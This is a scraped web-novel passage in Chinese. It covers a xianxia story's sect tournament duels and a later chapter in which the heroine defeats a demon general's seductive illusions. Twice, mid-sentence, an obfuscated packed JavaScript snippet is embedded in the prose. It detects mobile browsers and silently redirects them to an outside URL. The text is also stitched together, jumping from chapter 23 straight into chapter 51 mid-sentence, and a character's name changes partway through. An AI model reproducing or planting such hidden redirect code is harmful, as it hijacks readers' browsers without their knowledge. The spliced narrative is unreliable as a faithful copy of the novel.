七位弟子,即使已经用灵气护体,但还是被荆棘草刺伤,剩下一个飞到半空中的弟子,还没来得及移动,便被空气中的风行草击中。 至此,演武台上,只剩下了许晚辞与灵植的主人。 这时,台下有弟子一脸敬佩道: “不愧是何师兄,一上场就已经击败了八个敌人!” 何沐是五行峰小有名气的内门弟子,单木灵根,金丹修为,能落种为植,化植为器。 有不少木系弟子以他为榜样。 一位弟子看清七号演武台上的另一个身影后,高声道:“现在高台上好像只剩下何师兄和许晚辞了!” “看来何师兄很快就能赢了。”有一位弟子略显无趣地摇了摇头,“初赛,果然相对简单。” 这时,他身边的弟子声音激动:“你快看上面!” 高台上,许晚辞垂眸感知着周围的灵气。 荆棘草与风行草的灵气太过明显,她只是略一定神,便感知到了它们在演武台上的分部。 她脚下灵气运转,几步之内便全都躲了过去。 何沐的灵植虽然分布很广,但在她眼中,它们生长的太慢,也动的太慢。 慢到她可以清晰地察觉到它们的轨迹与弱点。 何沐看着许晚辞躲过了他所有的攻击,眼中闪过一丝诧异。 他右手继续操控灵植围剿她,左手一挥,无数藤蔓拔地而起,将他围了个密不透风。 就在他刚松了一口气,想继续催发更多灵植之时,一把剑蓦然破开了藤蔓交叠最少的地方,静静地停在了他的脖颈之上。 何沐蓦然怔在了原地: 他……输了? 他周身的藤蔓一点一点缩回了他的脚下。 许晚辞看着他身上已经灭掉的光点,缓缓收回手中之剑: “承让了。” 台下一片哗然。 “怎么可能!!” “她的剑,怎么会这么快?!” “到底发生了什么??” “许晚辞怎么可能赢了何师兄?!” 所有人都不可置信地看着七号演武台: 他们印象中的许晚辞,一直都唯唯诺诺、亦步亦趋的跟在楚青川身后,连课业都不管不顾。 若不是天赋尚可,恐怕这辈子都无缘金丹。 她……什么时候变得这么厉害了?! 22.第 22 章 翌日。 千定峰三号演武台。 不少弟子都看热闹一般地围在台下,可看到演武台上的场景后,每个人眼中都是相似的复杂。 高台上,许晚辞与齐时打得有来有往。 许晚辞在御雷符出现在她身前的那一瞬,就用手中灵剑将它原路挑了回去。 与此同时,她只是动了两步,便避开了所有在空中隐匿的疾风符。 齐时看着离他愈来愈近的身影,赶紧往自己身上拍了一个急速符,猛地拉开了两人的距离。 下一瞬,方才他站立的地方,便多了一道剑痕。 他额角缓缓落下一滴冷汗。 台下弟子看着许晚辞完全压制齐时,快把他逼入绝境的模样,目光愈发复杂。 齐时是明符峰七大内门弟子之一,符术极高,极擅对战。 整个太清宗中,他的手下败将不计其数,可如今—— “许晚辞原来这么厉害吗?” 不管品行如何,修仙界中,总是更加敬重强者。 这时,台上的交手愈发激烈,无数风火雷电的符咒不要灵石一般对着许晚辞撒去。 可她没费什么力气就能找到唯一的安全落点,同时一点一点地朝着齐时逼近。 齐时被她逼得已经闪躲到了角落里。 再这样下去,他只有输一条路。 看着已经在五步之内的许晚辞,他深吸一口气: 既然符咒不能用在许晚辞身上,那他就用在自己身上! 只要能让她愣神一瞬,他就能利用这一瞬,用符咒击中她! 齐时没有分毫犹豫地往自己身上拍了一个早就准备好的灵符。 于是,所有人都看到。 就在许晚辞的灵剑要刺中齐时胸口时,他身上灵光一闪,原本平平无奇的面容,忽然变得俊朗非凡。 看清这张脸后,所有人都倒吸了一口凉气: 这是楚青川的脸! 齐时居然用幻形符变成了楚师兄的样子! 整个太清宗,谁不知晓许晚辞有多爱慕楚青川。 看到这张脸,就算知道是假的,恐怕心神也会被分散。 真是好歹毒但有用的计谋啊! 就在所有人都以为许晚辞会被影响时,她手中的灵剑甚至比往常更快了几分,快到令人难以看清。 下一瞬,她手中的灵剑已经到了齐时胸前。 同时,她微微侧头,齐时最后那招用来攻击她的暗针符从她的颈侧擦过。 她毫发无伤,齐时身上属于参赛弟子的光点却缓缓熄灭。 至此,胜负已分。 看着齐时那张与楚青川一般无二的脸,莫说被影响,许晚辞连眼睛都没有眨一下,她的面色从始至终,都没有分毫变化。 看着这一幕,台下有弟子弱弱出声: “许晚辞真的喜欢楚师兄么? 他怎么,看着不像呢? 此后七天。 许晚辞在宗门大比中,以破竹之势,闯到了最后。 所有弟子对她的态度,也从一开始的厌恶敌视,变成了如今的复杂敬佩。 强者为尊是修仙界亘古不变的法则。 同时,也有不少人研究许晚辞的剑法到底出众在哪里。 最终,所有人都得出了一个结论: 强与快。 只要被她抓住了破绽,就根本躲不开她那一剑。 可偏偏没有任何人能够在她身前,掩饰住自己的破绽。 “你说的都是真的?”林浩看着一脸讨好地站在他面前的齐志远,声音阴沉地问道。 “林师兄,小的怎么敢骗你!”齐志远拍着胸脯保证道,“我暗中查了许久,许晚辞的左手定是有伤。” 想起被许晚辞踩在脚下两次之事,他咬着牙道:“抓住这个弱点,您定能赢她!” 林浩看了他一眼,目光带上了一丝坚决。 如今宗门大比中,只剩下四位弟子,一同争夺魁首之位。 他、许晚辞、楚青川和沈问心。 楚青川与沈问心,大抵是楚青川胜出,而楚青川的目标,定是血霞焰,用以淬炼灵根。 而他与许晚辞…… 无论如何,他必须赢! 只有赢,他才能得到那半步仙器——移风针。 翌日。 林浩与许晚辞、沈问心与楚青川的比武同时开始。 他们中的胜者,将在第二日,争夺魁首之位。 一号演武台边,被挤了个满满当当。 江秋宁、谢听白、几位长老峰主、宁孟澜等人都站在最前方,出神地看着演武台上的身影。 宁孟澜想起这段时间许晚辞在宗门大比上的表现,颇觉欣慰地捋了捋胡须: “晚辞之前无心修炼,我竟不知她天赋居然如此之好。” 剑心破碎后,能在一月内重塑剑意,完全领悟归元剑法,一路走到这里。 此等心性与天赋,若不是……恐怕早已名扬修仙界。 不过如此也好。 许晚辞既无求死之意,又有修炼之心,想必也不会排斥太清宗几位长老尊者的指点。 如此一来,太清宗与仙尊之因果,大抵很快便能了结。 若有一位尊者能有幸更进一步…… 届时,再无宗门能撼动太清宗修仙界第一宗门的地位。 如此,与许晚辞、与太清宗,都是一件幸事。 “是啊。”宁孟澜身侧的大长老声音庄严中带着浅浅的赞许,“想来再过不久,她就能重铸剑心了。” 二长老微微垂眸,最终什么都没有说。 谢听白含笑听着他们谈论,每个人的表情都尽入他眼。 他根本不用斟酌,便看出了他们对许晚辞态度的变化。 人性啊。 连高高在上的大能尊者都不能免俗。 许晚辞,自然也不会是那个例外。 他缓缓移开视线,看向演武台,唇角笑意温柔亲和: 比武,要开始了。 演武台上,林浩面色凝重地看着不远处的许晚辞。 她静静地站在那里,面色平静,看不出分毫紧张。 他看过无数次许晚辞与其他弟子对招的留影石,所以格外清楚她的威胁。 不过许晚辞虽然快,但他也不慢。 在演武台金色灵罩完全闭合的那一刻,林浩瞬间发力,几十道风刃将许晚辞围了个密不透风。 许晚辞足尖一点,脚踩着一道风刃,险而又险地躲了开来,在躲闪的同时,手中灵剑已然挥了出去。 破空的剑气直冲林浩挥手间显露的破绽而去。 剑气太快,林浩只能凭借本能闪躲,下一瞬,他右手的衣袖被剑气割断,飘然落下。 观武阁中的江泽见到这一幕,指尖微微一动。 他一直都知晓许晚辞天赋出众。 能在修炼一月内于他交手三十招内不落下风的修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14128963|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士,放眼整个修仙界也屈指可数。 看着演武台上许晚辞挥剑如墨,找准破绽一击退敌的模样,他心跳加快了一瞬。 江泽有些不适地微微皱眉,却又在下一刻舒展开来: 修仙界中,强者,是所有问题的答案。 他只是欣赏强者。 仅此而已。 演武台上,林浩一边稍显艰难地和抵抗着许晚辞的剑气,一边用余光不着痕迹地观察着她的左手。 因为许晚辞一直右手持剑,出剑又快到了极点,即使有留影石的存在,依旧没有多少人关注她的左手。 可他用风刃试探了几次后,他敏锐的发现,许晚辞的左手,好像比右手慢上片刻。 齐志远说的话,看来确有其事。 高手对招,只是片刻,就足够分出胜负。 就在他略一分神之时,许晚辞的剑气已经透过密密麻麻的风刃,直冲他的胸口而来。 林浩想也不想地一挥手,风刃带着森寒的灵气,猛地朝许晚辞左手击去。 许晚辞在发现风刃的那一刻便躲了过去。 风刃没有丝毫停留,继续朝着她的左手飞去,她及时向右闪避,右手挥剑抵挡住了风刃,可左手却慢了一瞬,被一道风刃击中。 鲜血顺着她的手腕,一滴一滴地落在了地上。 一直盯着演武台的江秋宁蓦然攥紧了双手。 她死死地盯着台上的一举一动,心已经提到了顶点。 她身侧的宁孟澜等人,虽然面色未变,但也微不可查地皱起了眉头。 台上的林浩眼睛一亮,明面上的风刃与风刃中隐含的风针,铺天盖地地朝着许晚辞左手击去。 许晚辞凌空后斩,剑气逼退了周围的风刃。 江泽与她交手时,或许是因为玄冥针的伤势,他鲜少攻击她的左手。 而她向来右手持剑,以剑退敌,即使左手的伤势好的差不多,她也依旧未曾在意。 这是她的弱点。 她又像是回到了第一次与江泽练剑时,一直在无穷尽的躲避。 那时她剑法生疏,只能凭借对灵气微弱的感知躲开他的攻击。 可她的灵气总有耗尽之时,更何况如今,她还有了左手这个弱点。 她习剑,从来都不是为了躲。 她只是为了赢。 即使左手已经鲜血淋漓,她面色依旧没有分毫变化。 她一边躲着风刃,一边看着林浩周身。 他周身的弱点太多,只要她够快,只要她不管左手—— 许晚辞目光冷而坚韧,她的剑带着无畏无惧的剑意,直冲林昭而去。 林昭看着近在咫尺的灵剑,蓦然睁大了双眼:许晚辞疯了么? 她不要她的左手了?! 他如今绝大多数的灵力都用来控制风刃,根本躲不开这一剑。 林昭胸口被剑击穿,他一脸不可置信地捂着胸口倒了下去。 而许晚辞的左手,也被无数风刃风针击中,片刻时间,左臂已经有了数百到伤口,露出了森森白骨。 可她面色依旧平静,她静静地站在那里,周身被剑意环绕,最后缓缓涌入心间。 至此,剑心已成。 一站一卧,胜负已分。 台下众人看着这一幕,终于懂了她的剑道。 赢。 重伤也可、死生不论,只为赢。 一个注定荆棘密布、鲜血淋漓甚至难以走到最后的剑道。 23.第 23 章 看着许晚辞受伤的那一幕,观武阁中的江泽握着茶盏的手蓦然用力,手背上青筋隐现。 他鲜少有这样情绪外露的时刻。 他定定地看着许晚辞左手上一道道深可见骨的伤口。 那次玄冥针后…… 她再也没有再他面前伤的这样重过。 即使在交手时,他都小心的控制了自己的力道…… 江泽看着赶到许晚辞身边的众人,缓缓移开了视线: 红色……真是碍眼。 演武台上,在灵罩落下的那一瞬间,江秋宁便想也不想地冲了上去。 她第一时间来到许晚辞身前,即使指尖微微颤抖,但是撒灵药的动作却有条不紊,没有丝毫慌乱。 看到血被止住,伤口在逐渐愈合后,她才松了一口气般,右手重重落了下去。 这是许晚辞第几次在她面前重伤了? 江秋宁有些恍惚地闭上了双眼: 墨霜圣兰一次。 玄冥针一次。 如今又是一次。 两次与她有关,这一次,与她无关却又让她无可奈何。 这时,谢听白也来到了许晚辞身边。 他目光担忧地看了一眼许晚辞左手的伤势,叹息着把刚找出的丹药放入了江秋宁手中: “这时我炼制的紫林丹,以灵气化之,能止痛补气,稳定经脉。” 江秋宁抬头看了他一眼,沉默着接过了紫林丹。 赶来的宁孟澜看着江秋宁把紫林丹用在了许晚辞伤口上后,伤口终于以肉眼可见的速度开始愈合。 林浩的风刃虽然锋利,但好在没有暴动的灵气,医治起来倒也不难。 令他无奈或者说不解的,还是许晚辞的剑心: 她为何要修这样的剑道? 剑心已成,除非她遭受比之前更难以接受的重创,否则不会破碎。 可这样的剑道…… 除了能赢,还有一点好处么? 若是如前几次比武一般倒也罢了,能用剑法碾压,自然不会受什么伤。 可万一遇到了今日一般旗鼓相当的对手,她这种伤敌一千、自损八百的剑道,只会让自己处于危险之中。 赢又如何,她又怎么能保证自己能活着? 这般艰难险阻的剑道—— 她是真的和之前一般,依旧对大道没有分毫兴趣么? 他第一次对许晚辞这段时间的作为有了疑惑: 既然无意大道,那她如此拼命修炼,到底是为了什么? 可看着许晚辞平静到连一丝涟漪都没有的目光,他终究没有问出口。 身为宗主,他需要关注的不只是许晚辞。 想到这里,他皱眉看向了不远处的林浩。 许晚辞那一剑避开了林浩的胸口,他虽然伤势不轻,却也无性命之忧。 虽说他对着许晚辞受伤之手下手有违武德,但宗门大比交战,只要不用阴损手段,便没有什么能指摘的。 宁孟澜一挥手,示意一旁的弟子把林浩带回五行峰救治。 他身边的二长老轻蹙着眉头,眼中是浅浅的担忧: 她本以为许晚辞已经从仙尊一事中走了出来,可…… “晚辞,你……” 许晚辞听着二长老的声音,抬起头轻轻扬了扬唇角,声音平和: “我还好,长老不用担心。” 她并非说谎。 对于她而言,这次的伤势比上次玄冥针轻了太多。 一开始的剧痛过后,便是麻木。 玄冥针的灼痛感,可是七日方歇。 紧接着,除了需要维持大比的宁孟澜,围观的大长老二长老全都打道回府,江秋宁和谢听白则是带着重伤的许晚辞回到了万剑锋。 当楚青川一身狼狈地赢了沈问心后,抬起头,只看到了自己师尊那孤零零的身影。 * 夜色静谧。 许晚辞坐在暗玉桌旁,垂眸看向自己的左手。 此刻,她左手的伤势已经恢复,只剩下了隐隐的痛感。 她明天的对手是楚青川。 原著中那个气运非凡、出凡入胜,即使在死地也能置之后生的男主。 许晚辞看向左手的目光理智而冷漠: 左手是她的弱点,如今已经是人尽皆知的弱点。 一日的时间,无论她做什么,都不可能让左手同右手一般。 她平静地眨了眨眼睛,没有分毫犹豫地下定了决心: 那就忽视吧。 忽视它的存在,忽视它所有的疼痛。 只要她不在意,左手就不是她的弱点,反倒有可能如今日一般,成为她赢的底牌。 想到这里,她缓缓闭上了双眼: 如今,她距离魁首只有一步之遥。 若是输,她虽说依旧能选择三叶莲,但那样,哪有成为第一后选择三叶莲震撼人心。 更何况,以她对仙尊的深情,又怎么可能容忍一丝的不确定。 输,身后便是万丈深渊。 从来到修仙界的那一刻起,她就只能赢。 正如她的剑心。 就在这时,她忽然察觉到了一道视线。 她缓缓睁开双眼,向视线所在的方向看去。 夜色中,江泽一身玄袍,眸色漆黑如墨。 他淡淡地扫过许晚辞的左手,目光晦涩难辨却又在下一瞬重回冰冷。 他不疾不徐地往前走了几步,没有提起她的伤势,只是淡然地夸赞道: “一月之内重铸剑心,不错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许晚辞的目光带着破碎的温柔,她定定地看着他,眼中却又根本没有他的存在。 她看的,是百年前那个神魂俱消的身影。 她问的,也是百年前那个人疼不疼。 她在意的一切,都与他无关。 这一瞬间,江泽听着自己蓦然慢到极致的心跳。 如坠冰窟。 50-60 第51章 这世间,无人像他,更无人是他 夜潇是魔界七大魔将之一, 极擅魇术。 她的魇术和修仙界中的幻阵与梦魇完全不同,魇术之中,有真实,也有虚妄。 中了魇术后, 周围的一切都与平常无异, 连修为都没有被限制分毫, 没有人能找到到真实与虚妄的那一丝交接。 即使与她修为相当甚至修为高于她的一阶修士, 也根本察觉不到异样。 只要中了她的魇术, 就会在不知不觉间放松心中的戒备, 把接下来出现的一切, 都当成理所当然。 在魇术中,她可以于真实中构建梦境,无声无息地让他们拥有想拥有的一切: 无上的修为、万人之上的地位、天才地宝、灵石美人…… 在中了魇术的那一刻, 这个人只会觉得之后的一切, 都是气运加身, 顺利到极点,也丝毫不会有任何的怀疑。 直到最后,在他得偿所愿, 登到巅峰的那一刻,被她吞噬,滋养她的魔魂。 也正是因为魇术, 让她看清楚了修仙界的那些修士, 是怎样一群道貌岸然、恶心至极的家伙。 即使有因果的限制, 自诩正义的修士们做出的事情,有不少可比他们魔修狠多了。 想到这里, 夜潇眼中闪过一丝微不可查的暗色。 苍情树下,白衣公子周身的气息却越□□缈出尘, 漆黑的发丝稍显凌乱的落在白色的外袍之上,或许是因为疼痛太过剧烈,连呼吸声都比方才重了几分。 夜潇一只手捂着胸口处的伤口,一滴滴的鲜血在她掌心凝聚,又悄无声息地化作能让人沉醉的暗香,消散在了空中。 这些暗香带着极致的诱惑,能将她的魅力散发到极致。 魔修离开魔界后,修为会被压制,只能发出平时不过十分之一的魔力。 而此处,还有那让无数魔修战栗恐惧的仙尊灵气,不远处也有尚未走远的太清宗修士,她不能如在魔界那样,直接动手,只能将许晚辞一步一步引到她的身前。 只要能让她有一瞬间的失神就够了,她就能不引起任何波动直接将她掳走。 夜潇微微垂眸,一滴冷汗顺着浓密的睫毛坠落到眼下,看起来像是一道氤氲的泪滴。 这是几百年间,她幻化出的最出众的一张脸。 ‘他’眼尾微微上挑,多一分则魅,少一分则弱,抬眸而视时,眼中古井无波,却好似有风月潜藏其中。 干净、正直、强大却又带着些许的脆弱——是修仙界女修们最喜欢的模样。 她用这张脸,诱惑了无数修仙界中的女修,让她们牵肠挂肚,让她们相思入骨。 许晚辞只是她无数猎物中的一个罢了。 最多只是身份有些特殊。 仙尊的深爱之人啊。 夜潇心中发出一声嗤笑: 她怎么会不了解修仙界的情爱呢? 三百年前,修仙界有一对名扬四海的神仙眷侣,比翼连枝、你侬我侬,彼此允诺生死与共。 真是深情不移、沧海为鉴的爱情。 真是好让魔羡慕。 于是,她就幻化了个身体,去青云尊者面前晃了一圈。 只不过是一点魇术,一点暗香、几句若近若离的话罢了,青云尊者就这样移情别恋,还妄想左拥右抱,坐享齐人之福。 接下来嘛,让她想想—— 她觉得实在有趣,就又幻化了一个身体,去接近玉瑶仙子。 这一次比之前难上些许,却也让她更加投入。 她给了玉瑶仙子无微不至的关怀,身受重伤也为她找到了机缘所在,最后,又在她面前,凄美地死在了青云尊者的断魂掌下。 如果她没记错的话—— 青云尊者与玉瑶仙子,在三百年前,就已经成了不死不休的仇敌。 如今玉瑶仙子身边,可是有着无数肖似她化身的少年。 修仙界的情爱啊,可比魔界的打打杀杀有意思多了。 至于许晚辞,难道她的情爱又会有什么不同? 以她对修仙界中修士的了解,她之所以表现的这样深情,还不是因为仙尊所爱这个身份,能给她带来诸多利益。 骗骗修仙界的那些伪君子也就罢了,又怎么可能骗得过她。 就算是有几分情爱,还真的能维持百年不散么? 更何况,她还专门在这具化身之上,凝了一些出尘淡漠的气质。 她虽然不知仙尊容貌,但却能勾勒出他几分的气质,再加上周围仙尊灵气的干扰…… 这样一个绝色的,专为许晚辞而设的化身,她怎么可能逃脱? 苍情树下的人抬起头,清冷出尘的双眸中带着一丝隐忍的疼痛,看向身前人的目光却又带着一分无可奈何的担忧。 ‘他’眉头微皱,捂在胸前的手缓缓用力,周围弥漫的暗香越发汹涌。 许晚辞驻足沉默地看着面前人的身影,目光中没有惊艳、没有担心、没有怜悯,甚至没有一丝波澜。 腰侧的三叶莲在无声的提醒她,走出幻境的关键,就在前方。 夜潇将自己的魅力发挥到了极致,可不远处的许晚辞却依旧没有什么表现,周身的灵气从始至终,都没有分毫停滞。 怎么可能? 就算在九佛宗修炼的佛修,看到她如今的模样,都不可能无动于衷! 就在她想要继续催动魇术之时,许晚辞终于往前走了一步。 她一步一步,面色平静地朝着她走去。 夜潇见状,终于放下了心: 是啊,怎么有人能在魇术中抵抗她的诱惑呢? ‘他’看着面前走来的身影,眼中带着五分清冷、三分无奈以及……一分的诱惑。 ‘他’叹息一般道:“姑娘,这里危险……” 夜潇话音未落,上古神剑九霄剑就干脆利落地将这具化身捅了个对穿。 九霄剑从胸前伤口而入,剑气逼人,执剑之人动作没有分毫犹疑。 夜潇看着许晚辞平静安宁的模样,蓦然睁大双眼,不可置信地消散在了原地: 怎么可能?! 就算许晚辞没有被诱惑,可面对这具堪称绝色的身体,她怎么可能下得了手! 许晚辞看都没有看夜潇一眼,她感受着识海中依旧不断闪烁的三叶莲,若有所思地后退了一步: 如今,依旧是在幻境之中。 方才那人,看来只是阵眼之一。 她还需要找到其他阵眼,才能从幻境中出去。 只是…… 许晚辞环视了一眼周围真实到看不出丝毫异常的场景,指尖微动: 这真的只是幻阵么? 她若有所思地往前走了几步,走到了方才白衣男子所在的苍情树下,她感受着三叶莲微弱的提示,缓缓伸手朝苍情树碰去。 就在她指尖接触到树干的那一瞬,周围忽然涌起了一阵空间波动,下一瞬,她便出现在了一个陌生的地方。 这是一方灵气充盈,看起来并没有什么异常的小天地,只是这里的时间,为夜。 温柔的月色朦胧地笼罩着她面前清澈的湖泊,湖中央,有一座雅致的小亭。 亭中,有一个披着红袍,衣衫半掩的修士,他生着一张多情潇洒的眸子,眼尾泛红,却偏偏带着一股锐利之气,让人觉得诱惑却又危险。 此刻,他正仰着头,接着酒壶之中的美酒。 酒水顺着他的唇角,从脖颈落到了半敞的胸膛,顺着结实有力的腹肌,缓缓地没入下腹的外袍之中。 月色之下,酒香清冽,美人绝色。 看着这一幕,许晚辞面色平静,心却缓缓沉了下去: 她终于猜到了‘他’的身份。 魔界七大魔将之一的夜潇,魔力强大,极擅魇术。 方才只是白衣男子,她还不敢确认,可是见到如今小天地中的场景…… 这只能是喜欢在魇术之中,用化身亲入其中考验人性的——夜潇。 她猜到此行会有危险,但却没有想到,出手的居然会是魔界。 夜潇不相信人性,也最喜欢考验人性。 她喜欢看正义者的自私、崇高者的堕落、真心人的假意、痴情者的滥情…… 原著中,她见到了楚青川对江秋宁的爱护,听到了修仙界对楚青川天赋品性的赞扬,于是精心捏造出了一个化身,来到他的身边。 用绝色的容貌和她引起为傲的魇术一同发力,想让这位所有修仙界交口称赞的‘未来第一人’坠入泥潭。 有了三叶莲的楚青川,根本没有被她的魇术魅惑,可看着她的容貌,即使发现问题,却依旧没有狠心对她动手,只是坚定拒绝。 夜潇就这样,不甘心的幻化了一具具身体,一次又一次出现在了楚青川面前。 可楚青川从始至终都是一副正人君子的模样,从未对她有过分毫的肖想。 于是,夜潇从一开始的不甘心,到中间的乐此不疲,到最后沉沦其中,再到最后,为了楚青川,甘心背叛魔尊,成为了魔尊王座下万千枯骨的一个。 感受着已经隐隐传入鼻翼的酒香,许晚辞压住心中所有的想法,逼自己第一时间冷静下来,寻找对策: 魔修来到修仙界时,魔气会被修仙界中的灵气压制,即使夜潇有什么法宝可以规避这些压制,怕是也只能作用在化身之上,起码对于现在的夜潇而言,限制很大。 不然,她可以直接对她下手。 或许,展开魇术是她最大的底牌,也是她唯一的攻击方式。 只要她能在魇术中保持清明,想来就不会被夜潇得手。 方才那一具化身,修为看起来并非超过她太多,只要她的剑足够快,就足以破开这一层的魇术。 这时,湖心亭中传来一声沙哑但诱惑的声音: “外来人?” 下一瞬,亭中的身影蓦然出现在了许晚辞眼前。 动作之中,‘他’的胸膛愈发袒露,仿佛再动几下,外袍便能松垮而落。 ‘他’腰腹处的肌肉,每一分都恰到好处,看起来纤瘦却有力,右手拿着一个酒壶,动作潇洒肆意,抬眸看来,一片卓卓风流。 夜潇看着许晚辞依旧平静的表情,眼睛微眯,却更多了几分风情: 之前是她判断失误。 就算她的化身再完美,同类型之下,她也不可能超越百年前一扫仙魔两界的清衍仙尊。 有仙尊珠玉在前,许晚辞自然不会被那具化身搅动心神。 这一次,她选的是与仙尊完全不同的化身,强大、欲色、引诱…… 她不信,许晚辞还能像之前那样,无动于衷。 夜潇蓦然靠近许晚辞,身上清冽的酒香将她环绕。 ‘他’的表情看似漫不经心,却从未离开过许晚辞分毫,只要她有一瞬间的失神,‘他’就能趁虚而入。 这次,是从后背袭来的一剑。 比上一次的剑,更快,也更狠。 夜潇甚至都来不及诧异,化身就瞬间破碎。 许晚辞看着再次回到最初的场景,眉头微不可查地皱了起来: 还是在魇术之中。 不愧是七大魔将之一,哪怕在修为受限的修仙界,魇术依旧能强大如斯。 即使被她消灭了两具化身,魇术好似依旧没有受到什么影响。 又是与周围融为一体,根本察觉不出丝毫不对的场景。 接下来出现在她面前的,是一个纤弱但好似一切都以她为先,依附她而生存的美貌少年。 之后,是侠肝义胆,一身正气的侠义少年。 再之后,是温柔包容、清风如许的俊逸公子。 看着许晚辞依旧未有分毫所动的模样,夜潇心中怒意翻涌,自她成魔以来,从未遇到对她魇术和化身全都无动于衷的人。 明明她把一切都伪装的那样完美,根本不应该有人能从她的魇术中脱身! 男人不行,那就换女人! 于是,再出现在许晚辞面前的,是一位娇俏动人、灵动可爱的活泼少女。 …… 又是三轮魇术。 许晚辞感觉到了灵气与神识的流失越来越快,再这样下去,她可能很快就会灵力枯竭,可幻境中化身的修为,却与第一具化身没什么太大区别。 她本以为杀了足够多的化身,魇术就会随之破碎,看来是她小看了夜潇。 许晚辞缓缓呼出一口气: 不就是想找到她的弱点,想让她因为弱点动摇么? 她就顺着她的想法,把‘弱点’显露出来,让她看到。 这么多魇术过后,想必夜潇的心绪也已经足够烦躁,在她对她动手的那一刻,在她动用魔气的那一刻。 夜潇的弱点,也会显露在她的眼前。 许晚辞微微抬头,双眸中依旧是如往常一般的平静安宁,她收起手中的九霄剑,坚定地往前走去: 谁是猎物,还未尝可知。 这时,夜潇的耐心已经逐渐消散。 夜刑还不知道能困住太清宗那些人多久,再耽误下去,怕是要坏事。 就在她想放弃魇术,直接动用魔气,不管不顾地将许晚辞带走时,她忽然发现了她视线那一瞬间的停顿。 那是…… 蓝色! 夜潇看着许晚辞身上的蓝衣,像是想到了什么,眸光一动。 还有什么呢? 她似乎是想到了什么,每一次的试探都比先前更细致了几分: 莲纹、化雨昙还有……红痣,左手手腕处的红痣。 最后,微风和畅,天朗气清。 入目望去,是一片蓝的动人心魄的化雨昙,只在夜晚绽放的昙花,被人用灵力润泽,在阳光下美丽的绽放着。 化雨昙的尽头,站着一个背身而立、清冷出尘的身影。 他身着蓝衣,蓝衣之上,镌刻着浅色的莲纹,微风拂过,莲纹若隐若现。 更让人移不开目光的,是衣袖之下,手腕上那颗灼眼的红痣。 许晚辞一步一步地朝着前方的身影走去。 她走过那片漫长的仿佛看不到尽头的化雨昙,略显怔愣地走到了那个身影的面前。 她在他身前站定,却并未抬头,只是垂眸站在原地。 夜潇听着许晚辞第一次乱起来的心跳,眼中带着一丝暗色。 她温柔地伸出双手,在将她拥入怀中的那一刻,魔气倾泻而出。 在她魔气显现的同时,一把剑快而稳地穿透了她的肩胛,那是她唯一的弱点所在。 夜潇看着从肩上穿过的九霄剑,目光没有愤怒,而是带着茫然: 怎么可能? 即使如今,她依旧能听到许晚辞乱到极点的心跳。 她明明也在欣喜,也在激动! 她怎么可能,舍得对这具化身下手? 许晚辞从始至终,都没有看向身前人,她静静地看着前方一点点消融的天空,目光空洞。 她混乱的心跳一点点的平复,直到最后,慢到了极点,好似已经失去了跳动的力气。 等到身前的身影消散后,她缓缓闭上双眼: “这世间,没有人像他,更没有人……是他。” 许晚辞的声音,明明平静到了极点,却偏偏悲伤的想让人落泪。 虚无之中,萧玉衍的目光,第一次真正的落在了她的身上。 只是一瞬。 转瞬过后,万物如常,他依旧未曾沾染分毫,也不会沾染分毫。 命数既定。 只是连他自己都没有察觉,漫天的混沌虚无之中,有了一丝微弱的蓝意。 另一边,被重伤的夜潇听着许晚辞的声音,心中是从未有过的感受。 在消散之际,她死死地盯着许晚辞脸上所有的表情,看着她眼中被平静牢牢压制在深处,仿若刻骨的死寂与伤痛,她茫然地皱起了眉头: 怎么可能? 修仙界中,怎么可能会有持续百年,依旧不散的……情爱? 就在这时,一道根本没有任何存在感却又让人所有人在感受到的那一刻汗毛耸立的魔气,悄无声息地将周围所有的灵气驱逐。 明明是灵气鼎盛的修仙界,在此刻却比魔界还恐怖上几分,厚重的魔气,顷刻间吞噬了所有,周围所有的灵植灵兽,在一瞬间化为乌有。 受伤的夜潇终于现身,她跪在地上,根本不敢抬头,声音恭敬中带着一丝微不可查的颤抖: “夜潇见过魔尊。” 闭关了三十年的魔尊言朔,出关了。 第52章 他的目光,忽然有了落点 一时间, 周围数里的灵气被尽数驱逐,阳光被厚重肆意的魔气遮挡的严严实实,周围瞬间转化成了魔界领域。 魔影之中,一个闲适的身影, 不疾不徐地走了出来。 他身上稍显随意的披着一件暗黑色的外袍, 暗金的魔纹隐于其中, 行动之间, 隐现的魔纹将周围的一切全都吞噬, 湮灭。 他有着一双让人不敢直视的双眼, 暗黑的瞳孔中, 带着猩红的纹路,冷漠与邪肆交织,最终化作了一片让人望而生畏的深渊。 一粒红得浓烈耀眼的魔珠亲昵地在他的手边环绕, 就如同他的主人一般, 惊艳到极致, 却也危险到极致。 魔尊言朔。 他一只手把玩着手中的魔珠,饶有兴致地朝前走去。 所到之处,所有的魔气都欢欣雀跃的想要亲近, 却又不敢上前,分外乖顺的为他让出了一条毫无阻碍的道路。 一旁的夜潇感受着周围汹涌的魔气,根本无暇处理身上的伤势, 她头垂得愈低, 连身体都带上了一丝抑制不住的颤抖。 就在她死死地低着头时, 余光中,忽然有一角暗黑色的衣摆映入眼帘, 下一瞬,她的双眼恍若重创一般, 剧烈的疼痛让她蓦然紧闭双眼,再也不敢僭越。 许晚辞在魔气出现的那一刻,就意识到了不对。 在修仙界中都如此浓烈嚣张的魔气,普通魔修甚至是魔将不可能做到。 只能是魔尊。 比原著提前三十年出关的魔尊,言朔。 许晚辞的灵力,在魇术中就几乎被消耗殆尽,面对周围魔气的压制,她周身的灵气变得愈发浅淡。 她半跪在地上,用尽所有的力气,逼自己维持清醒。 